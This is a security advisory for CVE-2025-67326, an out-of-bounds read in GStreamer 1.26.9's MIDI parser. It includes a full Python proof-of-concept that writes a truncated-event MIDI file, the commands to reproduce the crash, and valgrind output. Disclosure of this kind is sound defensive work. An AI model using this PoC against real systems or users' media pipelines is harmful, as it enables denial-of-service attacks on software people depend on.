CVE-2025-67326: Out-of-Bounds Read in handle_next_event() - GStreamer MIDI Parser

Dec 26, 2025

Details


Description

An out-of-bounds read in the handle_next_event() function of GStreamer Project v1.26.9 allows attackers to cause a Denial of Service (DoS) via a crafted Midi file.

Attack Vectors

User must open or process a malicious MIDI file with a MIDI event requiring more data bytes than available at track end.

Steps to Reproduce

  1. Run following script to generate malicious MIDI file malicious_event_length_oob.mid

    #!/usr/bin/env python3
    """
    GStreamer MIDI Parser - Event Data Length Overflow OOB PoC
    Vulnerability: Missing validation of event data length in handle_next_event()
    CVE: CVE-2025-67326
    
    The handle_next_event() function copies event data without verifying that
    enough bytes are available in the buffer.
    """
    
    import struct
    
    def create_event_length_overflow_midi():
        midi_data = bytearray()
    
        # MThd chunk (MIDI header)
        midi_data.extend(b'MThd')
        midi_data.extend(struct.pack('>I', 6))  # Header length
        midi_data.extend(struct.pack('>H', 0))  # Format 0
        midi_data.extend(struct.pack('>H', 1))  # 1 track
        midi_data.extend(struct.pack('>H', 480))  # Division
    
        # MTrk chunk (Track data)
        track_data = bytearray()
    
        # Valid event first
        track_data.append(0x00)  # Delta time = 0
        track_data.append(0x90)  # Note On, channel 0
        track_data.append(0x3C)  # Middle C
        track_data.append(0x40)  # Velocity 64
    
        track_data.append(0x00)  # Delta time = 0
    
        # ATTACK: Note On event at end with insufficient data
        # Note On requires 2 data bytes but only 1 is available
        track_data.append(0x90)  # Note On (requires 2 data bytes)
        track_data.append(0x3C)  # Data byte 1: Middle C
        # MISSING: Data byte 2 (velocity)
        # Parser tries to access data[1], reading past buffer!
    
        # Add track to MIDI file
        midi_data.extend(b'MTrk')
        midi_data.extend(struct.pack('>I', len(track_data)))
        midi_data.extend(track_data)
    
        return bytes(midi_data)
    
    def main():
        output_file = 'malicious_event_length_oob.mid'
        malicious_midi = create_event_length_overflow_midi()
    
        with open(output_file, 'wb') as f:
            f.write(malicious_midi)
    
        print(f"[+] Generated {output_file} ({len(malicious_midi)} bytes)")
        print(f"[*] Test: valgrind gst-launch-1.0 filesrc location={output_file} ! midiparse ! fakesink")
    
    if __name__ == '__main__':
        main()
    
    python3 poc_event_length_oob.py
    
  2. Run Valgrind on vulnerable GStreamer build to observe out-of-bounds read

    export GST_PLUGIN_PATH=~/.local/share/gstreamer-1.0/plugins:/usr/lib64/gstreamer-1.0
    valgrind gst-launch-1.0 filesrc location=malicious_event_length_oob.mid ! midiparse ! fakesink
    
  3. The Valgrind output shows Invalid read when handle_next_event() accesses data beyond buffer

Proof of Concept

Valgrind Output (GStreamer 1.26.9 vulnerable build)

Key Evidence: Look for Invalid read of size 1 at midiparse.c:1244 and Address 0x... is 0 bytes after a block showing the out-of-bounds access.

==3393628== Memcheck, a memory error detector
==3393628== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==3393628== Using Valgrind-3.26.0 and LibVEX; rerun with -h for copyright info
==3393628== Command: gst-launch-1.0 filesrc location=malicious_event_length_oob.mid ! midiparse ! fakesink
==3393628== 
Setting pipeline to PAUSED ...
Pipeline is PREROLLING ...
==3393628== Invalid read of size 1
==3393628==    at 0x48582F0: memmove (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==3393628==    by 0x486668C: play_push_func (midiparse.c:1244)
==3393628==    by 0x4866A85: handle_next_event.constprop.0 (midiparse.c:941)
==3393628==    by 0x4866F8B: gst_midi_parse_loop (midiparse.c:1396)
==3393628==    by 0x4942BB3: gst_task_func (in /usr/lib64/libgstreamer-1.0.so.0.2609.0)
==3393628==    by 0x4A78531: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3393628==    by 0x4A72D91: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3393628==    by 0x4C25AA3: start_thread (pthread_create.c:447)
==3393628==    by 0x4CBEA63: clone (clone.S:100)
==3393628==  Address 0x5474f2d is 0 bytes after a block of size 29 alloc'd
==3393628==    at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==3393628==    by 0x4A49B09: g_malloc (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3393628==    by 0x59EF884: ??? (in /usr/lib64/libgstbase-1.0.so.0.2609.0)
==3393628==    by 0x59F0DE9: gst_adapter_take (in /usr/lib64/libgstbase-1.0.so.0.2609.0)
==3393628==    by 0x4866EA6: gst_midi_parse_loop (midiparse.c:1387)
==3393628==    by 0x4942BB3: gst_task_func (in /usr/lib64/libgstreamer-1.0.so.0.2609.0)
==3393628==    by 0x4A78531: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3393628==    by 0x4A72D91: ??? (in /usr/lib64/libglib-2.0.so.0.8200.4)
==3393628==    by 0x4C25AA3: start_thread (pthread_create.c:447)
==3393628==    by 0x4CBEA63: clone (clone.S:100)
==3393628== 
ERROR: from element /GstPipeline:pipeline0/GstMidiParse:midiparse0: Internal data stream error.
Additional debug info:
midiparse.c(1445): gst_midi_parse_loop (): /GstPipeline:pipeline0/GstMidiParse:midiparse0:
streaming stopped, reason error (-5)
ERROR: pipeline doesn't want to preroll.
Setting pipeline to NULL ...
Freeing pipeline ...
==3393628== 
==3393628== HEAP SUMMARY:
==3393628==     in use at exit: 293,962 bytes in 1,714 blocks
==3393628==   total heap usage: 19,926 allocs, 18,212 frees, 2,399,714 bytes allocated
==3393628== 
==3393628== For a detailed leak analysis, rerun with: --leak-check=full
==3393628== 
==3393628== For lists of detected and suppressed errors, rerun with: -s
==3393628== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

References